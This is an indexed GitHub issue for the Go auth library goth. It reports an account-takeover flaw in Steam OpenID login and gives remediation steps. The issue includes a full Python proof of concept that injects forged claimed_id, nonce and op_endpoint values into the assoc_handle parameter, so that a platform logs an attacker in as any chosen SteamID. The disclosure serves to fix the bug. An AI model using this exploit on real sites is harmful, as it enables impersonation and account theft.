Potential vulnerability in Steam authentication
Nobody has claimed this yet.
- Dominant language
- Go
- Stars
- 6.6k
- Forks
- 631
- PR merge metrics
- No merged PRs in 30d
Description
Hi!
We recently received a bug report about an exploit in the default OpenID authentication flow through Steam.
We don't use `goth` directly of indirectly and didn't try to reproduce the issue using the library, but after checking its source code I've noticed, that `goth` may be susceptible to this kind of attack.
Below is the reproduction code of the attack:
```Py
## INSTRUCTIONS ##
# 1. Edit the TARGET_VICTIM_STEAMID to select a steam64id of your choice
# 2. Run the python script
# 3. When asked for the Steam Login URL, enter the url that your platform sends users to in order to auth (should be a steamcommunity.com/openid/login url)
# 4. When asked to intercept the response, you must do so when steam is redirecting the user back to your platform. It is advised to use a tool such as Burp Community Edition in order to achieve this.
# 5. After following all the steps, your platform should log the user in as the TARGET_VICTIM_STEAMID
## CONSTANTS (EDIT THESE) ##
TARGET_VICTIM_STEAMID = "00000000000000000"
## POC (DON'T TOUCH THIS) ##
from datetime import datetime, timezone
import random
import string
from urllib.parse import urlparse, parse_qs, parse_qsl, quote, urlunparse, urlencode
FAKE_NONCE_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
FAKE_NONCE_STRING = ''.join(random.choices(string.ascii_letters + string.digits, k=27)) + "="
FAKE_NONCE = FAKE_NONCE_TIME + FAKE_NONCE_STRING
def run():
originalRawURL = input("Enter Steam Login URL: ")
originalQueryParams = parse_qs(urlparse(originalRawURL).query)
returnURL = originalQueryParams['openid.return_to'][0]
spoofedBottomSection = f"""test
claimed_id:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
identity:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
return_to:{returnURL}
response_nonce:{FAKE_NONCE}
assoc_handle:1234567890
invalidate_handle:test"""
originalSpoofedURL = originalRawURL + f"&openid.assoc_handle={quote(spoofedBottomSection)}"
print(
f"\nEnter the following link into your browser and log in. Intercept the response before it reaches the target return-to endpoint:\n{originalSpoofedURL}")
callbackRawURL = input("\nEnter the response from steam: ")
callbackParsedURL = urlparse(callbackRawURL)
callbackQueryParams = parse_qs(callbackParsedURL.query)
attacker_claimedid = callbackQueryParams['openid.claimed_id'][0]
real_nonce = callbackQueryParams['openid.response_nonce'][0]
spoofedTopSection = f"""https://steamcommunity.com/openid/login
claimed_id:{attacker_claimedid}
identity:{attacker_claimedid}
return_to:{returnURL}
response_nonce:{real_nonce}
assoc_handle:1234567890
invalidate_handle:test"""
callbackQueryParams['openid.claimed_id'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.identity'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
callbackQueryParams['openid.response_nonce'][0] = FAKE_NONCE
callbackQueryParams['openid.invalidate_handle'][0] = "test"
callbackQueryParams['openid.op_endpoint'][0] = spoofedTopSection
query_dict = {}
for key, value in callbackQueryParams.items():
query_dict[key] = value[0]
callbackSpoofedURL = urlunparse((
callbackParsedURL.scheme,
callbackParsedURL.netloc,
callbackParsedURL.path,
callbackParsedURL.params,
urlencode(query_dict, doseq=True),
callbackParsedURL.fragment
))
print(f"\nFINALISED SPOOFED URL:\n{callbackSpoofedURL}")
if __name__ == "__main__":
run()
```
Remediations:
* In order to fix this vulnerability, your library must ensure that the `openid.op_endpoint` parameter returned by Steam is equal to `https://steamcommunity.com/openid/login`
* (Optionally) Restrict the `openid.invalidate_handle` parameter from Steam, as it is never sent in the normal flow.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by locating goth's Steam OpenID callback validation and trace how the returned openid.op_endpoint is handled. Compare it with the fixed Steam login endpoint described in the report, then inspect or add focused authentication tests for spoofed endpoint data; done means the reported login substitution cannot pass validation.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- authentication, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 30/100